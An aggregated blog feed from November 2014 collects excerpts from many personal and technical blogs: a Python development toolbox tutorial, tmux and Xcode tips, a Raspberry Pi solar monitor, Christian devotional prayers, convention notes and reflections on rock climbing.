I want to learn to delight myself in you. To draw a lasting, deep, fulfilling joy from my salvation, from your goodness, from your promises. I feel once again like the the father in Mark 9:24 (slightly modified)… "I delight in you, help me to delight in you" Recall to my mind your mighty deeds in my life; put me in a place of peace, knowing that the hands which steer my life rest upon the throne of the universe.

SolarPi - A Flask powered photovoltaic monitor

Tafkas Blog — Wed, 19 Nov 2014 02:00:00 GMT

After collecting some photovoltaic data using PikoPy and a some readings from the residential meter it was time to put everything together. The data is collected by a couple of scripts triggered by a cronjob every five minutes. $ crontab -l */5 * * * * python /home/solarpi/kostal_piko.py */5 * * * * python /home/solarpi/collect_meter.py */15 * * * * python /home/solarpi/collect_weather.py The results are then written into a SQLite database.

IM Days Presentation Materials

David Schlachter — Tue, 18 Nov 2014 19:00:00 GMT

Materials for my presentation at ARMA NCR IM Days.

The Obligation of The Programmer

Nicola Iarocci — Tue, 18 Nov 2014 02:00:00 GMT

Robert C.Martin, of Clean Code fame, has something to say on the role of we programmers in today’s society.

We rule the world.

We don’t quite understand this yet. More importantly, the world doesn’t quite understand it yet. Our civilization doesn’t quite realize how dependent it has become on software — on us.

He goes as far as suggesting a programmer’s code of conduct of sorts. Food for thought I guess, although I suspect we’re too much of a wild and scattered bunch for something like that to really stick.

Supercharge your Android Application-1(The List).

Prasham H Trivedi — Mon, 17 Nov 2014 02:00:00 GMT

In the inaugural part of the series, I have covered ListFragments and it’s single advantage while having full control over the fragment and it’s layout. It will reduce the pain of managing or showing the progress, because ListFragment does it automatically for you

Python-like generator functions

Blog on blog.gnoack.org — Sun, 16 Nov 2014 20:41:00 GMT

Python-like generator functions, implemented as a library:

Generator functions implemented as a library

This is possible through two simple tricks:

The language represents stack frames as objects on the heap.
There’s a native function for grabbing the current stack frame.

Turns out replacing the calling stack frame is really the only thing you need in order to implement coroutines and generics.

The implementation is only 23 lines long. On my screen, including the screenshot, this weblog article is already longer up until here.

What Does “Free as in Speech” or “Free as in Beer” Really Mean?

Justin Garrison's Homepage — Sat, 15 Nov 2014 23:04:05 GMT

In the open source community you’ll often hear the phrase “free as in speech” or “free as in beer” in

Fury

🦉 olshansky 🦁 — Sat, 15 Nov 2014 19:12:46 GMT

Olshansky's review of Fury

Edge of Tomorrow

🦉 olshansky 🦁 — Sat, 15 Nov 2014 19:10:52 GMT

Olshansky's review of Edge of Tomorrow

A Most Wanted Man

🦉 olshansky 🦁 — Sat, 15 Nov 2014 19:08:58 GMT

Olshansky's review of A Most Wanted Man

Gridloche: Realtime Multiplayer Go-Like with RPG Elements

Thomas Hunter II — Sat, 15 Nov 2014 02:00:00 GMT

grepr - 7DFPS 2014

Evan Todd — Fri, 14 Nov 2014 19:25:10 GMT

I survived 7DFPS, barely. Here are some fascinating statistics:

Days to create an FPS: 7
Hours spent: 93
Levels built: 5
Lines of code written: 2313
Hours to spare before deadline: 2
Functioning brain cells remaining: approximately 4

I'm happy with the result, though. Jack did a great job on the audio as usual, although at the last minute I had to throw in some clunky placeholder sfxr sounds. Blame me for those! Maybe we'll replace them later.

The Divergent Series: Insurgent

🦉 olshansky 🦁 — Fri, 14 Nov 2014 03:02:39 GMT

Olshansky's review of The Divergent Series: Insurgent

If I Were Judge

trv.rs — Fri, 14 Nov 2014 02:00:00 GMT

Then Absalom would say, “Oh that I were judge in the land! Then every man with a dispute or cause might come to me, and I would give him justice.” (2 Samuel 15:4)

Jesus, I simultaneously love and hate this story. I remember as a kid reading those Bible story comic books furiously booing Absalom's Loki-esque manipulations, his impetuous and ungrateful attitude towards his father David. As I grew older, my heart understood a bit of his growing resentment after the disgrace to his sister Tamar, but I still tend to sinfully cheer his fitting but tragic end, a victim of his own cowardice and ultimately his vanity.

As my path through scripture found me here this morning, I chuckled to myself as I read the melodramatic manipulation tactics that Absalom is employing here. Then you convicted me once more, in a part of scripture that I never thought would be applicable to me. Oh how blind I am.

Lord, I am Absalom. I constantly look about at your kingdom, and my wicked and silly heart sits in the gate and bemoans "if only I were king, this would be set right!" How foolish! I am an adopted son of a good and wise king, an heir and blessed with my crimes forgiven. How could I look around and desire a different world? Please forgive me. I know you are in control, that your plan is far more perfect and sound than David's kingdom. Please invade my heart fully, flood my soul with peace in my present and gloriously saved state. I surrender my will, please help me to surrender more and more till all my earthly plans begin and end with "If the Lord wills." I pray this in Jesus' precious and all-consuming name, amen.

GMOs explained

Jason Eckert's Website and Blog — Fri, 14 Nov 2014 02:00:00 GMT

Like many other people who hold a degree in science, I look at people who are currently upset about GMO products with pity and disdain. They don’t know what it is, but they’re willing to call it evil for whatever reason.

GMO stands for genetically modified organism, which is essentially any organism (plant, animal, amoeba, etc.) that has had its DNA modified in some way. DNA are the blueprints of a living cell that in turn produce the RNA that produces the proteins that make up the useful bits of the cell itself.

My tmux config and a small tmux primer

Erethon's Corner — Thu, 13 Nov 2014 23:48:20 GMT

It's been a little over a month since I started using tmux. Below, I'll try to explain most of my .tmux.conf, a bit of my current workflow using awesome + tmux and various cool stuff you can do with tmux. My latest .tmux.conf can be found on my dotfiles repo on GitHub.

Build Netatalk 3 on Raspberry Pi

David Schlachter — Thu, 13 Nov 2014 19:00:00 GMT

How to build Netatalk 3 (with Spotlight support) on Raspberry Pi.

The Interview

🦉 olshansky 🦁 — Thu, 13 Nov 2014 03:20:46 GMT

Olshansky's review of The Interview

Filling The Void

trv.rs — Thu, 13 Nov 2014 02:00:00 GMT

Abba Father, I feel the failure of one of my idols today. I have placed my hope for this week in some thing or someone other than you, and as it fails to meet my expectations I feel my heart scrounging around for another selfish opiate. I know my foolish heart well… when one thing disappoints it immediately tries to fill that hole with some new shiny toy. I run from my disillusionment to my Amazon wishlist or to another new fulfilling and distracting conversation, trying to fill the void left by the evaporation of a temporary and doomed hope.

Once more, save me from myself. I know that my dissatisfaction with this world and its contents is designed to point me to you. Please continue to break my idols until I embrace you fully, and place all my heart's hope on your power and your absolute and uncompromising love for me. Whom have I in heaven but you. You have said "seek my face." My heart says to you, "Your face Lord, do I seek." May the way that I respond to my disappointment serve to glorify you, rather than draw pity to me.

A Python toolbox

Baptiste Fontaine’s Blog — Tue, 11 Nov 2014 23:10:00 GMT

I started learning Python four years ago and have been heavily programming with it for near than a year now. In this post I’ll share some tools I use to ease and speed-up my workflow, either in the Python code or in the development environment.

These tips should be OS- and editor-independent. I have some useful Vim plugins to work with Python, but that’ll be for another post. You might have to adapt commands if you work on Windows.

Setting Things Up

Let’s say you’re starting a Python library. You have a couple dependencies, and hopefully you’d like it to work on multiple versions, like 2.6, 2.7, and 3.x. How can you test that? You have to (a) manage your dependencies to not mess up with your user environment, and (b) test with multiple Python versions.

Introducing virtualenv.

Virtualenv lets you create isolated Python environments. That means you get a pristine environment where you’ll install your library’s dependencies, and nothing else. It’ll be independent of your user space. It’s important to work with an isolated environment because you don’t know which environment will your users have, so you shouldn’t make any assumption besides your own requirements. Working with your user environment means you might forgot a dependency because it just works since it’s installed on your computer but it’ll broke if run on another computer without this dependency.

You should be able to install it with pip:

$ pip install virtualenv

It needs a directory to store the environment. I usually use venv, but you can choose whatever you want:

$ virtualenv venv

You can then either “activate” the environment, which adds its bin directory in your PATH:

$ source venv/bin/activate
$ python  # that's your virtualenv's Python
$ deactivate
$ python  # that's your Python

or prefix your commands with venv/bin/ (replace venv with your directory’s name):

$ venv/bin/python  # that's your virtualenv's Python
$ python  # that's your Python

I usually do the later. Install dependencies in the environment:

$ venv/bin/pip install your-dependency

Don’t forget to tell Git or any tool you’re using for versioning to ignore this venv directory. It can take some place (from 12MB to more than 40MB) depending on the number of dependencies you’re relying on.

To remove an environment, just delete its directory:

$ rm -rf venv

It can be convenient to save place on your computer if you have dozen of environments for different projects, especially if can quickly re-create any environment with its dependencies.

If you’re using pip to manage them, you should know you can install dependencies not only from the command line, but also from a file, with one dependency per line. Each one of them is processed as if it were given on the command-line.

For example, you could have a file containing this:

colorama==0.2.7
coverage==3.7.1
pep8==1.4.6
py==1.4.20
tox==1.7.0
argparse>=1.1
virtualenv==1.11.4

This file is usually called requirements.txt, but here again you can call it whatever you want. You call install all these at once with this command:

$ pip install -r requirements.txt

But we’re programmers and we’re lazy, we don’t want to track down each installed library to include it in this file.

Here comes pip freeze.

pip freeze outputs all installed libraries with their version. It can be put in our requirements.txt for later use:

$ pip freeze > requirements.txt

This requirements.txt file becomes handy when used with virtualenv because you’re now able to fire up a new environment and install all required libraries, with two commands:

$ virtualenv venv
$ venv/bin/pip install -r requirements.txt

Note that these are libraries used in the environment, not necessarily your library’s dependencies. In the above example you can see we’re installing coverage and pep8, which respectively are a code coverage test tool and a lint one we’ll talk about later in this post, not libraries we’re depending on here.

You should thus add this file in your public repository, because it provides anyone with the informations they need to have in order to mirror your environment and be able to contribute to your project.

Coding

Now that your local environment is ready, you can start coding your library. You’ll often have to fire an interpreter to test some things, use help() to check a function’s arguments, etc. Having to type the same things over and over takes time, and remember: we’re lazy.

Like Bash and some other tools, the Python interpreter can be configured with an user file, namely $PYTHONSTARTUP. It allows you to add autocompletion, import common modules, and execute pretty much any code you want.

Start by setting PYTHONSTARTUP in your ~/.bashrc (if you’re using Bash):

export PYTHONSTARTUP="$HOME/.pythonrc.py"

Here we’re telling the interpreter to look for the $HOME/.pythonrc.py file and executing it before giving us a prompt.

Let’s initialize this file with autocompletion support:

try:
    import readline
except ImportError:
    pass
else:
    import rlcompleter
    readline.parse_and_bind("tab: complete")

You can add a lot more stuff in this file, like history support, colored prompts or common imports. For example, if you use sys and re a lot, you can save time by adding them in your startup file:

import sys
import re

You won’t need to type these two lines anymore in your interpreter. It doesn’t change how Python executes files, just the interactive interpreter.

Testing

Four different kinds of tests are covered by this part: style checkers to ensure your code’s consistency, static analysis tools to detect problems before executing the code, unit tests to actually test your library, and code coverage tests to ensure you do test all the code.

Style Checking

These are tools which help you maintaining a consistent coding style in your whole codebase. Most of these tools are easy to use, the hardest part being to choose which one fits your requirements.

Python has a PEP (Python Enhancement Proposal, sort of RFC), the PEP 8, dedicated to its coding conventions. If you want to follow it, a command-line tool, rightly named pep8, is available.

$ venv/bin/pip install pep8
$ venv/bin/pep8 your/lib/root/directory
...
foo/mod.py:84:80: E501 line too long (96 > 79 characters)
foo/mod.py:85:6: E203 whitespace before ':'
foo/mod.py:86:80: E501 line too long (87 > 79 characters)
foo/mod.py:87:4: E121 continuation line indentation is not a multiple of four
...

It’ll check each file and print a list of warnings. You can choose to hide some of them, or use a white list to decide which ones you want. It’s a good tool if you want to follow the PEP 8 conventions.

Another highly customizable tool is pylint. It reads its configuration from a file in your project, which can inherit from global and user configurations. It’ll warn you about bad naming, missing docstrings, functions which take too many arguments, duplicated code, etc. It also gives you some statistics about your code. It’s really powerful but can be a pain if you don’t configure it. For example, it warns you about one-letter variables while you might find them ok.

Enters prospector.

Prospector is built on top of pep8 and pylint and comes with sane defaults regarding the pickiness of both tools. You can tell it to only print important problems about your code:

$ venv/bin/pip install prospector
$ venv/bin/prospector --strictness high

You’ll get a much shorter output, which will hopefully help you find potential problems in your code.

Static Analysis

Here, we’re talking about analysing the code without executing it. Compiled languages benefit from this at compilation time, but interpreted languages like Python have no way to have it.

One of the most popular tools for static analysis on Python code is Pyflakes. It doesn’t check your coding style like pep8 or pylint, but warns you about missing imports, dead code, unused variables, redefined functions and more. You can work without style checkers, but static analysis is really helpful to detect potential bugs before actually running the code.

Pyflakes can be integrated in editors like Vim with Syntastic, but its command-line usage is as easy as the previous tools:

$ venv/bin/pip install pyflakes
$ venv/bin/pyflakes your/directory

Prospector, mentioned in the previous section, also includes pyflakes. You might also want to try Flake8, which combines pyflakes and pep8.

Unit Tests

When talking about testing, we usually think of unit testing, which is testing small pieces of our code at a time, to make sure everything is working correctly. The goal is to test only one feature at a time, to quickly be able to find which parts of the code are not working. There are a lot of great testing frameworks, and Python comes with a built-in one, unittest, which I personnally use. I won’t cover these, and I’ll instead cover the case when you need to test on multiple Python versions, which is often the case when you plan to release a public library. You obviously don’t want to manually switch to each Python version, install your dependencies then run your tests suit each time.

This is a job for tox.

Tox uses Virtualenv, which I talked about earlier, to create standalone Python environments for different Python versions, and test your code in each one of them.

$ venv/bin/pip install tox

Like some previous tools, it needs a configuration file. Here is a basic tox.ini to test on Python 2.6, 2.7, 3.3 and 3.4:

[tox]
envlist = py26, py27, py33, py34
downloadcache = {toxworkdir}/_download/

[testenv]
sitepackages = False
deps =
  colorama
commands =
  {envpython} {toxinidir}/tests/test.py

It declares one dependency, colorama, and tells tox to run tests by executing tests/test.py. That’s all. We can then run our tests:

$ venv/bin/pip/tox

It’ll takes some time on the first run to fetch dependencies and create environments, but all the following times will be faster.

Like virtualenv, tox uses a directory to store these environments. You can safely delete it if you need more space, it’ll be re-created by tox the next time:

$ rm -rf .tox

Code Coverage

This last part about testing talks about code coverage tests. These are tests about tests. The goal here is to ensure your tests cover all your code, and you don’t leave some parts untested. Most tools tell you how many lines where executed when running your tests suit, and give you an overall coverage percentage.

One of them is coverage.

$ venv/bin/pip install coverage

Give it your project’s root directory as well as a file to run your tests:

$ venv/bin/coverage run --source=your/directory tests/test.py

It’ll run them, and give you a nice coverage report:

$ coverage report -m
Name              Stmts   Miss  Cover   Missing
-----------------------------------------------
foobar/__init__       5      0   100%
foobar/base          46      2    96%   5-6
foobar/cli          159    159     0%   3-280
foobar/config        66     66     0%   3-150
foobar/session       64     14    78%   9-10, 106-124
foobar/barfooqux     22      0   100%
foobar/helloworld    25     20    20%   14-41
...
-----------------------------------------------
TOTAL               459    313    32%

It can also give you an HTML version:

$ venv/bin/coverage html

Getting to 100% is the ultimate goal, but you’ll quickly find that’s the first 80% are easy and the remaining 20% are the hardest part, especially when you have I/O, external dependencies like databases, and/or complicated corner-cases.

Check Coverage’s doc for more info.

Debugging

There are a lot of ways to debug, including logs, but the simplest debugging tool is the good old print. It becomes really impracticable when you have to restart your server every time you add or remove one of them from your code. What if you could fire a Python interpreter right from your code and inspect it when it’s running? Well, you can do that with Python’s code module! This trick is really handy, and I’ve been using it heavily instead of these prints we write everywhere since I’ve discovered it.

The code module provides you with an interact function, which takes a dict of variables to inject in the interpreter. You’ll be able to print them, play with them, but these changes won’t be reflected in the program you’re debugging.

Remember that Python lets you get all global variables as a dict with globals() and all local ones with locals(). We thus start by creating a mirror of the local environment:

vars = globals().copy()
vars.update(locals())

These two lines get all global variables (including imported modules) in a dict called vars and add local variables in it. This can then be passed directly to the interpreter:

import code
code.interact(local=vars)

This will start an interpreter with all these variables already available in it. There’s nothing to install, this is a standard Python module.

You can even inline the code and add it in your favorite snippets manager:

g=globals().copy();g.update(locals());import code;code.interact(local=g)

Don’t forget to remove it when you’re done!

TL;DR

Use virtualenv to isolate your Python environment, pip freeze and a requirements.txt file to keep track of your dependencies.
Write a pythonrc.py file to add autocomplete support to your interpreter
Use pep8, pylint and pyflakes to keep a high code quality
Use tox to test on multiple Python versions
Fire a local interpreter instead of printing variables

That was all. Please comment on this post if you think of any tool you use to speed-up your Python development!

Calling a Rest (Json) API with PowerShell

Daniel Little Dev — Tue, 11 Nov 2014 06:39:46 GMT

PowerShell makes working with rest API's easy. In PowerShell version 3, the cmdlets and where introduced. These cmdlets are a huge…

Securing SSH: Just because it has secure in the name doesn't mean that it's secure out of the box

Joshua Rogers — Mon, 10 Nov 2014 14:00:00 GMT

My server had an unauthorized login attempt today. Really, it was more along the lines of 2,000 login attempts. Why is my server under attack? Simply because it is on the internet. See, this is actually a normal day for a small server. Last week, there were just over 12,000 attempts. So, business as usual for a server looks something like walking through a zombie filled wasteland armed only with a cowbell and a belt made of bacon.

7dfps work in progress

Evan Todd — Mon, 10 Nov 2014 03:04:39 GMT

I'm participating in 7dfps this year, which means I'm making an FPS game in 7 days. Here's what I've got so far:

In Soviet Russia, you are bullet.

In my 7dfps entry, moving and shooting are the same thing.

Here's my favorite form of humor: physics glitches.

Here's me getting killed:

Here's a better shot of the city:

Lots to do still.

President Obama’s Plan for a Free and Open Internet

Dan Stroot — Mon, 10 Nov 2014 02:00:00 GMT

Today President Barack Obama has come out in favor of net neutrality in very public way. He lays out in no uncertain terms that he believes no cable company or access provider should be able to put limits on access to the Internet. In addition, he’s suggesting that the FCC recognizes access to the Internet as a basic utility, and something that Americans have a basic right to. This means no blocking, no throttling, more transparency and no paid prioritization.

This post President Obama’s Plan for a Free and Open Internet first appeared on Dan Stroot's Blog

Podcasting Seasons

Sam Solomon — Sun, 09 Nov 2014 02:00:00 GMT

I am going to try something new with Signal Tower. Wednesday night I was interviewing Justin Jackson, host of the awesome Product People podcast.

Detangling snail actions. Also a cat

Liza Shulyayeva — Sat, 08 Nov 2014 09:39:34 GMT

I started writing this post on the 8th of November and have just now gotten around to finishing it.

Figuring out what my snails are doing and why is getting close to impossible. I’ve got snails eating each other, or refusing to eat proper food, or for some reason not mating even though their sex drive should be pretty high. I used to print stuff out to one big default log file (laravel.log), but this soon became unmanageable because I was printing logs associated with multiple actions for multiple snails at the same time.

Gamehole Con, Day 1

Ben Overmyer's Site — Sat, 08 Nov 2014 02:00:00 GMT

Friday was eventful. I went to a seminar on world building by Ed Greenwood, and it was fascinating to hear the creator of the Forgotten Realms talk about how to construct a game world and how the Realms evolved. The Realms were first born when he was 6. It made me wonder if I should somehow incorporate my first fantasy world, Flodoria, into Eiridia. It would make an interesting addition. I'll have to think about how the two would integrate.

NPC Phrasebooks

One of my favorite takeaways from the world building seminar was Ed's description of how he builds short little “phrasebooks” for his NPCs and monsters. He takes common phrases and translates them into how a given type of NPC would say them, whether that's in a different language or just a different dialect. This gives him a way to increase immersion for his players without having to invent entire languages whole-cloth.

A Living World

Another thing he emphasized was that the game world must evolve without the players. Powerful agents outside of the PCs' control need to be operating on the world, so that the players get the sense that they're in a living, breathing world and not just a stage for them to play-act upon. Ed himself spends about 3 hours of design time for every hour of play time. Given that he's a prolific writer and the father of one of the most beloved fantasy settings of all time, I'm not surprised. I wonder if I should be spending that much time on my own adventures.

Trade Lines as World-Building Anchors

A helpful tip that Ed shared about building out a game world was to figure out what trade lines exist to the players' current location, and start building from there. This makes sense; if the town imports iron ore from the northwest, what kind of people would have a society built around mining? Would merchants from that region be dwarves, or maybe something else? How would they act in a tavern after a long day on the road? What stories might they tell?

The Forgotten Realms Seminar

The second seminar I went to was a panel on Forgotten Realms hosted by Chris Perkins and Ed Greenwood. Chris Perkins is the story lead for Wizards of the Coast's D&D division. The two of them talked a lot about the plans for Forgotten Realms and, surprisingly, the incorporation of other settings into the Realms. The first such thing was the Tyranny of Dragons story arc, which borrows heavily from Dragonlance thematic elements. The second story arc they have planned deals with a cult of elemental evil, which is a nod to the Temple of Elemental Evil, done in a Forgotten Realms style. The third and fourth story arcs they have in the works similarly bring new things to the Realms. The third is being produced in consultation with Bob Salvatore (creator of Drizzt Do'Urden) and thematically mimics Alice in Wonderland. The fourth they were very tight-lipped on, but Chris mentioned that the consultant for it was a name we would recognize from the old TSR days.

I got a look at the new DM Screen for 5th edition, as well as the new DMG. I got some acceptable shots of the screen.

They also talked about brand recognition for D&D and Forgotten Realms, and what they hoped the future was for both. They definitely dream big, though Chris and Ed both are keeping one foot firmly on the ground when it comes to product ideas. A Forgotten Realms movie was mentioned several times as a wish, but it was stated in such a way that I think they're only hoping it comes true, not actually planning for it. Ed's thoughts on Forgotten Realms brand recognition can be summed up in this quote from him: “Being the creator of the Forgotten Realms is like being the champion of downhill skiing in the Saharan desert.” He obviously wishes he had the fame of George R. R. Martin, whom he mentioned in the seminar.

Gaming with Ed Greenwood

The final event of the day was an AD&D 2E session run by Ed. I played a human wizard with a penchant for laughing at danger – a trait that got him into trouble more than once during the session. Despite some of the dire circumstances we got ourselves into, we managed to complete the quest and return the missing eyeball to its owner, none the worse for wear. Ed's GMing style reminded me of Kevin Rohan‘s, though the former has decades more experience and isn't shy about using funny voices for each of the NPCs. He definitely runs a game like a story, not a combat simulation.

Gamification of Life

Playground — Sat, 08 Nov 2014 02:00:00 GMT

Almost two months back I stumbled upon this question on Personal Productivity Stack Exchange. Here, someone asked the following question,

The Theory of Everything

🦉 olshansky 🦁 — Fri, 07 Nov 2014 02:59:17 GMT

Olshansky's review of The Theory of Everything

Gone Girl

🦉 olshansky 🦁 — Thu, 06 Nov 2014 16:34:03 GMT

Olshansky's review of Gone Girl

The Imitation Game

🦉 olshansky 🦁 — Thu, 06 Nov 2014 14:24:26 GMT

Olshansky's review of The Imitation Game

Why Don’t More People Work As Programmers?

Nicola Iarocci — Thu, 06 Nov 2014 02:00:00 GMT

This originally appeared on Quora and is well worth reading.

Becoming a good programmer is incredibly difficult and it doesn’t happen quickly. We can’t expect to plant some trees and have 2000-year-old redwoods grow overnight, regardless of the demand for them.

via Why Don’t More People Work As Programmers? – Forbes.

Gamehole Con, Day 0

Ben Overmyer's Site — Thu, 06 Nov 2014 02:00:00 GMT

Took off a day early so I could get to Madison, WI at a leisurely pace. I'm sitting in the hotel room writing this. This is my first trip to Madison, and my route took me through an interesting set of neighborhoods. The layout is definitely not as easy to navigate as Minneapolis's, though it had a cozier quality to it. The roads are narrower and twist and turn more.

I'm fairly certain I saw Ed Greenwood entering the hotel just after me, but by the time I got checked in and looked around for him, he was gone. Ah well, I'll see him tomorrow.

I plan on blogging every day of the con. We'll see what adventures are in store.

Install Rubinius on OS X

Caius Theory — Wed, 05 Nov 2014 14:50:16 GMT

Using ruby-install, homebrew building it for use with chruby, here’s how I install Rubinius under Yosemite (works for Mavericks as well.)

Make sure llvm is installed
```
 $ brew install llvm
```

Prepend the homebrew-installed llvm tools to your path

 $ export PATH="$(brew --prefix llvm)/bin:$PATH"
# Or, for ZSH
$ path=( $(brew --prefix llvm)/bin $path )

Install rubinius, v2.3.0 at the time of writing
```
 $ ruby-install rbx 2.3.0
```

Open a fresh shell once that’s built, and you should be able to switch to rbx!

 $ chruby rbx
$ ruby -v
rubinius 2.3.0 (2.1.0 9d61df5d 2014-10-31 3.5.0 JI) [x86_64-darwin14.0.0]

There is also a homebrew tap for rubinius which should also work instead of the above. I couldn’t get it working on one of my laptops though, which is why I was installing by hand using the above instead. The tap is at https://github.com/rubinius/homebrew-apps/ and https://twitter.com/brixen/status/529725881498226688 explains install steps.

Finding Peace in the Storm

trv.rs — Wed, 05 Nov 2014 02:00:00 GMT

Jesus immediately reached out his hand and took hold of him, saying to him, “O you of little faith, why did you doubt?” (‭Matthew‬ ‭14‬:‭31‬ ESV)

Father, I have always loved this story. I love your serene concern to foolhardy Peter... That to you the wind and waves didn't exist, didn't even perturb you. The biggest storm in your eyes was the one in Peter's heart, and so you spoke to that before you rebuked the elements. Your love for us is amazing.

I confess that I enjoy mocking the blindness of the disciples, that they would miss the power displayed in feeding a giant crowd and more easily assume that you were a spectral apparition rather than the long awaited Messiah. Lord, I find today that I'm guilty of the same foolishness. I cringe before the waves of my life, fearing the scream of the winds of chance and I forget that if I were to meet your eyes and believe, I could walk calmly to you.

Jesus, take hold of my sinking, flailing heart today. Let me hear once more the words said to Peter two millennia ago, and rest in your sovereignty over the chaos of my world. I know that the worldly storm doesn't always disappear, but there is no tempest in your peace. May I embrace it, and walk to you without fear and in increasing joy in your amazing grace.

(photo of Sea of Galilee from our trip in 2010... thankfully no storm involved.)

The switch as an ordinary GNU/Linux server

The Technical Blog of James on purpleidea.com — Tue, 04 Nov 2014 04:23:52 GMT

The fact that we manage the switches in our data centres differently than any other server is patently absurd, but we do so because we want to harness the power of a tiny bit of silicon which happens to be able to dramatically speed up the switching bandwidth.

beware of proprietary silicon, it's absurd!

That tiny bit of silicon is known as an ASIC, or an application specific integrated circuit, and one particularly well performing ASIC (which is present in many commercially available switches) is called the Trident.

Upgrading Linode

Thomas Hunter II — Tue, 04 Nov 2014 02:00:00 GMT

Launching Remote GUIs over SSH: SSH provides a CLI, but sometimes you just need a GUI too

Joshua Rogers — Mon, 03 Nov 2014 14:00:00 GMT

One of the things that I love about living in a Unix environment is that 99% of the time, remote administration only means a quick trip to the console. That's 99% of the time where my desktop can look something like this: Of course, 99% doesn't quite make a whole. There's the matter of the other 1% of the time where a GUI is required. Earlier on in my journey with Linux, I would have tried to setup a VNC server or to work around the need for a UI.

Jabeh

Arash Payan — Mon, 03 Nov 2014 12:30:09 GMT

What's dying is not the Mobile Web

Welcome to Marco Fioretti's website! on Stop at Zona-M — Mon, 03 Nov 2014 08:10:00 GMT

I didn’t have time before to comment on a tweet I saw last April: “Mobile Web is dead. It’s all about apps. Hmmm, are we sure?

Cabin Porn Roundup

Zac Szewczyk — Sun, 02 Nov 2014 15:46:35 GMT

This Week in Podcasts may have ended, but I have no intention of ending my monthly Cabin Porn Roundups. For October, then, check out these neat little structures from across the world.

Permalink.

Friendly reminder to people who still don't understand email

Welcome to Marco Fioretti's website! on Stop at Zona-M — Sun, 02 Nov 2014 08:10:00 GMT

The ubiquitousness of no-brain-required social networks and mobile apps has made many people forget, or never learn, a boring truth of digital life: a LOT non-ephemeral online communication still happens via less glamorous, but much more effective tools like email and mailing list. This can have unintended consequences.

Interstellar

🦉 olshansky 🦁 — Sun, 02 Nov 2014 05:42:05 GMT

Olshansky's review of Interstellar

Xcode6 tips

xenodium.com @alvaro — Sun, 02 Nov 2014 02:00:00 GMT

From Ray Wenderlich's tech talk And supercharging Your Xcode Efficiency (by Jack Wu).

Shortcuts

⌘⇧o Fuzzy file search.
⌘⌥j Fuzzy file search (showing in Xcode project hierarchy).
⌘⇧j Show file in Xcode project hierarchy.
⌘⌥0 Show/hide utility area (right panel).
⌘0 Show/hide navigation area (left panel).
⇧⌘Y Show/hide debug area (bottom panel).
Ctrli Indent selection.
⌘\ Toggle breakpoint on line.
⌘/ Toggle comment.
⌘[1-8] Select tabs on left panel.
Ctrl[1-x] Select top file navigation menu items.

Xcode features

Snippets.
Templates.
View debugging.
Simctl (send files to simulator).

Plugins of interest

Fuzzy autocomplete.
Uncrustify for indentation.
xcs code switch expansion.
Org and order (for properties).

"A delicate mix of chess... and bear wrestling"

Josh Thompson — Sun, 02 Nov 2014 02:00:00 GMT

Over the last few weeks I’ve found myself needing to break down “why” of sport climbing (I’ll refer to sport as “lead” climbing from here on out. Sorry, trad climbers). If someone is enjoying top roping, (or bouldering) why should they take on the work of learning to lead climb, lead belay, and then deal with all the mental baggage that accompanies said switch.

Could you come up with more than ten reasons for someone to do start leading?

Here’s my list: more

Increase the challenge of climbing
Climb overhanging lines
Improve your overall abilities (resting, pacing, “flow”)
Your friends lead climb, and you want to be like them.
You want to be a better climber, and good climbers seem to all lead climb
You don’t want to have to walk to the top of the cliff again to set up a TR!
You want to avoid feeling like you’re “holding back” friends that lead climb.
You think (for some reason) that big falls look exciting (and intimidating)
Every picture/video of any top climber (if they’re using a rope) shows leading. Alex Honnold doesn’t count.

Then, what may be the most compelling reason:

Leading is a logical and necessary next step to improving your climbing.

Honestly, I’m still struggling to build a case for leading. I’ll just leave it at this - a segment of the general population climbs rocks (it’s hard to say why). A segment of that population of climbers lead. They (you) don’t need any convincing, they just do.

Isn’t this line of reasoning similar to why we climb anyway? Explaining rock climbing to a non-climber is not as easy as you might think.

The academic “I enjoy the mental and physical challenges associated with this sport” both 1) applies to almost anything (golf, beach combing, unicycling) and 2) doesn’t quite explain why you’ll drive 12 hours to scare the living snot out of yourself just to get to the top of a piece of rock via one method rather than another.

Why do we rock climb and not hike, or run, or ride a bike? Why do we spend the money and time and blood, sweat, and tears, on this pursuit?

These are compelling reasons to me:

We have pretty poor hand-eye coordination, and rock moves slow enough for most of us to catch it (Applies to just me? ok, then.)
Some of us are too short/small for football and basketball.
We usually enjoy the thrill of difficult moves high in the air
Climbers like being able to be delicate and graceful, without having to get into ballet or dance (but there is plenty of overlap between those activities and climbing)
We enjoy the overlap between thinking hard and trying hard. (A friend calls climbing “a delicate mix of chess… and bear wrestling”)
We get to see things that we wouldn’t otherwise see, and from perspectives we wouldn’t otherwise get.
It’s extremely motivating to see a return on investment of all the work and time spent climbing
The community (as a whole) is encouraging, warm, and friendly.
Our small group of climbing friends shares a bond we wouldn’t otherwise have.
Be it an “easy” top rope or surviving a multi-pitch epic in freezing rain - climbing brings us together in a way that our day-to-day would never do. Similar to how boot camp builds bonds in soldiers, suffering together, working together, encouraging each other, and keeping each other alive (you do that when you belay - did you know that?) builds bonds.
Participating in a sport where you would die if you made a serious mistake sort of makes you feel alive. (Nor sure what this says more about: climbing, or the people who identify with this as a reason for climbing.)
Climbing is “easy” in terms of participation. The gear takes up minimal space (all my climbing gear fits in a single medium-sized plastic bin) and is easy to transport. (Kayaks, anyone?) Anyone can put up a hangboard and have an effective training tool. “Practicing” skiing away from a mountain, in the off season, seems a bit harder.
Climbing gyms. Lets be honest - as much as our community “discusses” proper gym-climbing ethics, grades, what people should/should not wear in the gym, setting, reachy and dynamic and “unfair” moves, sexism, tape vs. colored routes, and all that other stuff - we all care so much because we love our local climbing gym. The people there represent so much to us. I would not be a happy camper if I lost that community.
We love being able to get stronger, more technically proficient, or more mentally “strong”, and all of those can improve our climbing.
We love being able to all participate in the same event, even if we climb at different levels. If I go for a run with my much stronger running friend, he’ll leave me in the dust well before he finishes his 40 mile run. (Not kidding about the distance.) When we climb, no matter how big or small a difference in our climbing abilities, we can each find good routes.

Phew. That’s a lot of reasons, but I still think this is missing the point.

I turned to Google to solve this existential question. Here’s the best I could find.

Question: Why climb?

Answers:

Because it’s there
Because I can
Because it’s good for me
Because it is “real” (raw, primal, etc.)
For the mental challenges
For the sense of accomplishment
To get exhausted
Because I must

The above answers apply to many sports. Not just climbing. So, I’ll close with this quote from George Mallory:

If you have to ask the reason why…you won’t understand the answer.

There you have it - a completely non-conclusive reason for lead climbing, and climbing in general.

Why do you climb?

I submitted my first package to the AUR today.

spinda's dreamwidth — Sat, 01 Nov 2014 10:36:15 GMT

